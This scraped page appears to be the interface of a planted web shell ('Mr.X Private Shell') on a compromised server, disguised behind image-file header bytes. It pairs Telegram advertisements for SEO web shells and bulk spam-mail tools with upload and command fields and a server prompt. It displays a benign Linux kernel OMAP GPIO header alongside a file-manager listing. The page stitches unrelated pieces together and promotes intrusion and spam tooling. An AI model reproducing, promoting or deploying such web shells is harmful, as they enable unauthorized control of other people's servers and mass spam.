����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
/* SPDX-License-Identifier: GPL-2.0-or-later */
/*
 * OMAP GPIO handling defines and functions
 *
 * Copyright (C) 2003-2005 Nokia Corporation
 *
 * Written by Juha Yrjölä <juha.yrjola@nokia.com>
 */

#ifndef __ASM_ARCH_OMAP_GPIO_H
#define __ASM_ARCH_OMAP_GPIO_H

#ifndef __ASSEMBLER__
#include <linux/io.h>
#include <linux/platform_device.h>
#endif

#define OMAP1_MPUIO_BASE			0xfffb5000

/*
 * These are the omap15xx/16xx offsets. The omap7xx offset are
 * OMAP_MPUIO_ / 2 offsets below.
 */
#define OMAP_MPUIO_INPUT_LATCH		0x00
#define OMAP_MPUIO_OUTPUT		0x04
#define OMAP_MPUIO_IO_CNTL		0x08
#define OMAP_MPUIO_KBR_LATCH		0x10
#define OMAP_MPUIO_KBC			0x14
#define OMAP_MPUIO_GPIO_EVENT_MODE	0x18
#define OMAP_MPUIO_GPIO_INT_EDGE	0x1c
#define OMAP_MPUIO_KBD_INT		0x20
#define OMAP_MPUIO_GPIO_INT		0x24
#define OMAP_MPUIO_KBD_MASKIT		0x28
#define OMAP_MPUIO_GPIO_MASKIT		0x2c
#define OMAP_MPUIO_GPIO_DEBOUNCING	0x30
#define OMAP_MPUIO_LATCH		0x34

#define OMAP34XX_NR_GPIOS		6

/*
 * OMAP1510 GPIO registers
 */
#define OMAP1510_GPIO_DATA_INPUT	0x00
#define OMAP1510_GPIO_DATA_OUTPUT	0x04
#define OMAP1510_GPIO_DIR_CONTROL	0x08
#define OMAP1510_GPIO_INT_CONTROL	0x0c
#define OMAP1510_GPIO_INT_MASK		0x10
#define OMAP1510_GPIO_INT_STATUS	0x14
#define OMAP1510_GPIO_PIN_CONTROL	0x18

#define OMAP1510_IH_GPIO_BASE		64

/*
 * OMAP1610 specific GPIO registers
 */
#define OMAP1610_GPIO_REVISION		0x0000
#define OMAP1610_GPIO_SYSCONFIG		0x0010
#define OMAP1610_GPIO_SYSSTATUS		0x0014
#define OMAP1610_GPIO_IRQSTATUS1	0x0018
#define OMAP1610_GPIO_IRQENABLE1	0x001c
#define OMAP1610_GPIO_WAKEUPENABLE	0x0028
#define OMAP1610_GPIO_DATAIN		0x002c
#define OMAP1610_GPIO_DATAOUT		0x0030
#define OMAP1610_GPIO_DIRECTION		0x0034
#define OMAP1610_GPIO_EDGE_CTRL1	0x0038
#define OMAP1610_GPIO_EDGE_CTRL2	0x003c
#define OMAP1610_GPIO_CLEAR_IRQENABLE1	0x009c
#define OMAP1610_GPIO_CLEAR_WAKEUPENA	0x00a8
#define OMAP1610_GPIO_CLEAR_DATAOUT	0x00b0
#define OMAP1610_GPIO_SET_IRQENABLE1	0x00dc
#define OMAP1610_GPIO_SET_WAKEUPENA	0x00e8
#define OMAP1610_GPIO_SET_DATAOUT	0x00f0

/*
 * OMAP7XX specific GPIO registers
 */
#define OMAP7XX_GPIO_DATA_INPUT		0x00
#define OMAP7XX_GPIO_DATA_OUTPUT	0x04
#define OMAP7XX_GPIO_DIR_CONTROL	0x08
#define OMAP7XX_GPIO_INT_CONTROL	0x0c
#define OMAP7XX_GPIO_INT_MASK		0x10
#define OMAP7XX_GPIO_INT_STATUS		0x14

/*
 * omap2+ specific GPIO registers
 */
#define OMAP24XX_GPIO_REVISION		0x0000
#define OMAP24XX_GPIO_SYSCONFIG		0x0010
#define OMAP24XX_GPIO_IRQSTATUS1	0x0018
#define OMAP24XX_GPIO_IRQSTATUS2	0x0028
#define OMAP24XX_GPIO_IRQENABLE2	0x002c
#define OMAP24XX_GPIO_IRQENABLE1	0x001c
#define OMAP24XX_GPIO_WAKE_EN		0x0020
#define OMAP24XX_GPIO_CTRL		0x0030
#define OMAP24XX_GPIO_OE		0x0034
#define OMAP24XX_GPIO_DATAIN		0x0038
#define OMAP24XX_GPIO_DATAOUT		0x003c
#define OMAP24XX_GPIO_LEVELDETECT0	0x0040
#define OMAP24XX_GPIO_LEVELDETECT1	0x0044
#define OMAP24XX_GPIO_RISINGDETECT	0x0048
#define OMAP24XX_GPIO_FALLINGDETECT	0x004c
#define OMAP24XX_GPIO_DEBOUNCE_EN	0x0050
#define OMAP24XX_GPIO_DEBOUNCE_VAL	0x0054
#define OMAP24XX_GPIO_CLEARIRQENABLE1	0x0060
#define OMAP24XX_GPIO_SETIRQENABLE1	0x0064
#define OMAP24XX_GPIO_CLEARWKUENA	0x0080
#define OMAP24XX_GPIO_SETWKUENA		0x0084
#define OMAP24XX_GPIO_CLEARDATAOUT	0x0090
#define OMAP24XX_GPIO_SETDATAOUT	0x0094

#define OMAP4_GPIO_REVISION		0x0000
#define OMAP4_GPIO_SYSCONFIG		0x0010
#define OMAP4_GPIO_EOI			0x0020
#define OMAP4_GPIO_IRQSTATUSRAW0	0x0024
#define OMAP4_GPIO_IRQSTATUSRAW1	0x0028
#define OMAP4_GPIO_IRQSTATUS0		0x002c
#define OMAP4_GPIO_IRQSTATUS1		0x0030
#define OMAP4_GPIO_IRQSTATUSSET0	0x0034
#define OMAP4_GPIO_IRQSTATUSSET1	0x0038
#define OMAP4_GPIO_IRQSTATUSCLR0	0x003c
#define OMAP4_GPIO_IRQSTATUSCLR1	0x0040
#define OMAP4_GPIO_IRQWAKEN0		0x0044
#define OMAP4_GPIO_IRQWAKEN1		0x0048
#define OMAP4_GPIO_IRQENABLE1		0x011c
#define OMAP4_GPIO_WAKE_EN		0x0120
#define OMAP4_GPIO_IRQSTATUS2		0x0128
#define OMAP4_GPIO_IRQENABLE2		0x012c
#define OMAP4_GPIO_CTRL			0x0130
#define OMAP4_GPIO_OE			0x0134
#define OMAP4_GPIO_DATAIN		0x0138
#define OMAP4_GPIO_DATAOUT		0x013c
#define OMAP4_GPIO_LEVELDETECT0		0x0140
#define OMAP4_GPIO_LEVELDETECT1		0x0144
#define OMAP4_GPIO_RISINGDETECT		0x0148
#define OMAP4_GPIO_FALLINGDETECT	0x014c
#define OMAP4_GPIO_DEBOUNCENABLE	0x0150
#define OMAP4_GPIO_DEBOUNCINGTIME	0x0154
#define OMAP4_GPIO_CLEARIRQENABLE1	0x0160
#define OMAP4_GPIO_SETIRQENABLE1	0x0164
#define OMAP4_GPIO_CLEARWKUENA		0x0180
#define OMAP4_GPIO_SETWKUENA		0x0184
#define OMAP4_GPIO_CLEARDATAOUT		0x0190
#define OMAP4_GPIO_SETDATAOUT		0x0194

#define OMAP_MAX_GPIO_LINES		192

#define OMAP_MPUIO(nr)		(OMAP_MAX_GPIO_LINES + (nr))
#define OMAP_GPIO_IS_MPUIO(nr)	((nr) >= OMAP_MAX_GPIO_LINES)

#ifndef __ASSEMBLER__
struct omap_gpio_reg_offs {
	u16 revision;
	u16 sysconfig;
	u16 direction;
	u16 datain;
	u16 dataout;
	u16 set_dataout;
	u16 clr_dataout;
	u16 irqstatus;
	u16 irqstatus2;
	u16 irqstatus_raw0;
	u16 irqstatus_raw1;
	u16 irqenable;
	u16 irqenable2;
	u16 set_irqenable;
	u16 clr_irqenable;
	u16 debounce;
	u16 debounce_en;
	u16 ctrl;
	u16 wkup_en;
	u16 leveldetect0;
	u16 leveldetect1;
	u16 risingdetect;
	u16 fallingdetect;
	u16 irqctrl;
	u16 edgectrl1;
	u16 edgectrl2;
	u16 pinctrl;

	bool irqenable_inv;
};

struct omap_gpio_platform_data {
	int bank_type;
	int bank_width;		/* GPIO bank width */
	int bank_stride;	/* Only needed for omap1 MPUIO */
	bool dbck_flag;		/* dbck required or not - True for OMAP3&4 */
	bool loses_context;	/* whether the bank would ever lose context */
	bool is_mpuio;		/* whether the bank is of type MPUIO */
	u32 non_wakeup_gpios;

	const struct omap_gpio_reg_offs *regs;

	/* Return context loss count due to PM states changing */
	int (*get_context_loss_count)(struct device *dev);
};

#endif /* __ASSEMBLER__ */

#endif

Filemanager

Name Type Size Permission Actions
gpio Folder 0755
media Folder 0755
txx9 Folder 0755
x86 Folder 0755
ad5449.h File 1.17 KB 0644
ad5761.h File 1.24 KB 0644
ad7266.h File 1.33 KB 0644
ad7791.h File 530 B 0644
ad7793.h File 3.75 KB 0644
ad7887.h File 573 B 0644
adau17x1.h File 3.51 KB 0644
adp5588.h File 6.55 KB 0644
adp8860.h File 4.61 KB 0644
adp8870.h File 4.52 KB 0644
ads7828.h File 690 B 0644
amd_qdma.h File 943 B 0644
ams-delta-fiq.h File 1.62 KB 0644
apds990x.h File 1.83 KB 0644
arm-ux500-pm.h File 566 B 0644
asoc-imx-ssi.h File 686 B 0644
asoc-kirkwood.h File 145 B 0644
asoc-palm27x.h File 152 B 0644
asoc-s3c.h File 1.32 KB 0644
asoc-ti-mcbsp.h File 820 B 0644
asoc-ux500-msp.h File 433 B 0644
ata-pxa.h File 392 B 0644
atmel.h File 374 B 0644
b53.h File 1.13 KB 0644
bcmgenet.h File 402 B 0644
bd6107.h File 237 B 0644
bh1770glc.h File 1.18 KB 0644
brcmfmac.h File 6.63 KB 0644
brcmnand.h File 286 B 0644
clk-da8xx-cfgchip.h File 504 B 0644
clk-davinci-pll.h File 465 B 0644
clk-fch.h File 287 B 0644
cpuidle-exynos.h File 361 B 0644
cros_ec_chardev.h File 1.08 KB 0644
cros_ec_commands.h File 176.61 KB 0644
cros_ec_proto.h File 9.48 KB 0644
cros_ec_sensorhub.h File 6.11 KB 0644
cros_usbpd_notify.h File 436 B 0644
crypto-ux500.h File 526 B 0644
cyttsp4.h File 1.59 KB 0644
davinci-cpufreq.h File 428 B 0644
davinci_asp.h File 2.88 KB 0644
dma-dw.h File 2.57 KB 0644
dma-ep93xx.h File 2.68 KB 0644
dma-hsu.h File 321 B 0644
dma-iop32x.h File 3.27 KB 0644
dma-mcf-edma.h File 1.12 KB 0644
dma-mmp_tdma.h File 647 B 0644
dma-mv_xor.h File 375 B 0644
dma-s3c24xx.h File 1.3 KB 0644
dma-ste-dma40.h File 6.03 KB 0644
dmtimer-omap.h File 1.94 KB 0644
ds620.h File 430 B 0644
dsa.h File 1.61 KB 0644
edma.h File 2.52 KB 0644
elm.h File 1.29 KB 0644
emif_plat.h File 3.92 KB 0644
eth-ep93xx.h File 207 B 0644
eth_ixp4xx.h File 541 B 0644
g762.h File 698 B 0644
gpio-ath79.h File 330 B 0644
gpio-davinci.h File 451 B 0644
gpio-htc-egpio.h File 1.62 KB 0644
gpio-omap.h File 5.64 KB 0644
gpio_backlight.h File 251 B 0644
gpmc-omap.h File 5.53 KB 0644
gsc_hwmon.h File 1.07 KB 0644
hirschmann-hellcreek.h File 719 B 0644
hsmmc-omap.h File 2.09 KB 0644
hwmon-s3c.h File 1.18 KB 0644
i2c-davinci.h File 835 B 0644
i2c-gpio.h File 1.05 KB 0644
i2c-imx.h File 420 B 0644
i2c-mux-gpio.h File 955 B 0644
i2c-mux-reg.h File 1.21 KB 0644
i2c-ocores.h File 644 B 0644
i2c-omap.h File 1.21 KB 0644
i2c-pca-platform.h File 291 B 0644
i2c-pxa.h File 354 B 0644
i2c-s3c2410.h File 2.86 KB 0644
i2c-xiic.h File 853 B 0644
ina2xx.h File 412 B 0644
intel-mid_wdt.h File 456 B 0644
invensense_mpu6050.h File 865 B 0644
iommu-omap.h File 618 B 0644
irda-pxaficp.h File 704 B 0644
irda-sa11x0.h File 411 B 0644
isl9305.h File 487 B 0644
itco_wdt.h File 588 B 0644
keyboard-pxa930_rotary.h File 642 B 0644
keyboard-spear.h File 3.81 KB 0644
keypad-ep93xx.h File 1.01 KB 0644
keypad-nomadik-ske.h File 1.17 KB 0644
keypad-omap.h File 1.3 KB 0644
keypad-pxa27x.h File 2.16 KB 0644
keyscan-davinci.h File 517 B 0644
lcd-mipid.h File 586 B 0644
leds-lm355x.h File 1.42 KB 0644
leds-lm3642.h File 818 B 0644
leds-lp55xx.h File 2.12 KB 0644
leds-omap.h File 352 B 0644
leds-s3c24xx.h File 345 B 0644
lm3630a_bl.h File 1.63 KB 0644
lm3639_bl.h File 1.37 KB 0644
lm8323.h File 746 B 0644
lp855x.h File 3.93 KB 0644
lp8727.h File 1.44 KB 0644
lp8755.h File 1.47 KB 0644
ltc4245.h File 331 B 0644
lv5207lp.h File 273 B 0644
max197.h File 615 B 0644
max3421-hcd.h File 808 B 0644
max6639.h File 433 B 0644
max6697.h File 912 B 0644
max732x.h File 573 B 0644
mcs.h File 693 B 0644
mdio-bcm-unimac.h File 275 B 0644
mdio-gpio.h File 273 B 0644
mfd-mcp-sa11x0.h File 272 B 0644
microchip-ksz.h File 961 B 0644
mlxcpld.h File 885 B 0644
mlxreg.h File 7.54 KB 0644
mmc-davinci.h File 736 B 0644
mmc-esdhc-mcf.h File 447 B 0644
mmc-mxcmmc.h File 1.07 KB 0644
mmc-omap.h File 3.22 KB 0644
mmc-pxamci.h File 809 B 0644
mmc-sdhci-s3c.h File 2.22 KB 0644
mmp_audio.h File 340 B 0644
mmp_dma.h File 350 B 0644
mouse-pxa930_trkball.h File 226 B 0644
mtd-davinci-aemif.h File 715 B 0644
mtd-davinci.h File 2.39 KB 0644
mtd-nand-omap2.h File 2 KB 0644
mtd-nand-pxa3xx.h File 812 B 0644
mtd-nand-s3c2410.h File 2.05 KB 0644
mtd-orion_nand.h File 520 B 0644
mv88e6xxx.h File 416 B 0644
mv_usb.h File 900 B 0644
net-cw1200.h File 2.7 KB 0644
nfcmrvl.h File 1.23 KB 0644
ntc_thermistor.h File 1.26 KB 0644
omap-twl4030.h File 1.04 KB 0644
omap-wd-timer.h File 901 B 0644
omap1_bl.h File 229 B 0644
omapdss.h File 897 B 0644
pata_ixp4xx_cf.h File 466 B 0644
pca953x.h File 360 B 0644
pcf857x.h File 1.78 KB 0644
pcmcia-pxa2xx_viper.h File 200 B 0644
phy-da8xx-usb.h File 474 B 0644
pinctrl-single.h File 425 B 0644
pm33xx.h File 2.25 KB 0644
pxa2xx_udc.h File 983 B 0644
pxa_sdhci.h File 1.45 KB 0644
regulator-haptic.h File 691 B 0644
rtc-ds2404.h File 467 B 0644
s3c-hsotg.h File 1.04 KB 0644
s3c-hsudc.h File 1.04 KB 0644
sa11x0-serial.h File 874 B 0644
sc18is602.h File 401 B 0644
sdhci-pic32.h File 360 B 0644
serial-omap.h File 1 KB 0644
serial-sccnxp.h File 1.89 KB 0644
sgi-w1.h File 222 B 0644
sh_mmcif.h File 5.42 KB 0644
shmob_drm.h File 2.54 KB 0644
sht3x.h File 342 B 0644
shtc1.h File 303 B 0644
si5351.h File 3.55 KB 0644
simplefb.h File 2.21 KB 0644
spi-clps711x.h File 421 B 0644
spi-davinci.h File 2.25 KB 0644
spi-ep93xx.h File 311 B 0644
spi-mt65xx.h File 361 B 0644
spi-omap2-mcspi.h File 475 B 0644
spi-s3c64xx.h File 2.01 KB 0644
st33zp24.h File 367 B 0644
st_sensors_pdata.h File 966 B 0644
syscon.h File 163 B 0644
tda9950.h File 282 B 0644
ti-aemif.h File 1.08 KB 0644
ti-prm.h File 524 B 0644
ti-sysc.h File 4.9 KB 0644
timer-ixp4xx.h File 244 B 0644
touchscreen-s3c2410.h File 595 B 0644
tsc2007.h File 655 B 0644
tsl2563.h File 180 B 0644
tsl2772.h File 3.73 KB 0644
uio_dmem_genirq.h File 397 B 0644
uio_pruss.h File 425 B 0644
usb-davinci.h File 596 B 0644
usb-ehci-orion.h File 440 B 0644
usb-musb-ux500.h File 558 B 0644
usb-ohci-pxa27x.h File 925 B 0644
usb-ohci-s3c2410.h File 941 B 0644
usb-omap.h File 2.81 KB 0644
usb-omap1.h File 1.53 KB 0644
usb-pxa3xx-ulpi.h File 675 B 0644
usb-s3c2410_udc.h File 1.04 KB 0644
usb3503.h File 431 B 0644
ux500_wdt.h File 313 B 0644
video-ep93xx.h File 1.49 KB 0644
video-imxfb.h File 1.75 KB 0644
video-pxafb.h File 5.23 KB 0644
video_s3c.h File 1.71 KB 0644
voltage-omap.h File 1.15 KB 0644
wan_ixp4xx_hss.h File 465 B 0644
wilco-ec.h File 6.91 KB 0644
wiznet.h File 511 B 0644
wkup_m3.h File 542 B 0644
xilinx-ll-temac.h File 1.29 KB 0644
xtalk-bridge.h File 437 B 0644
zforce_ts.h File 313 B 0644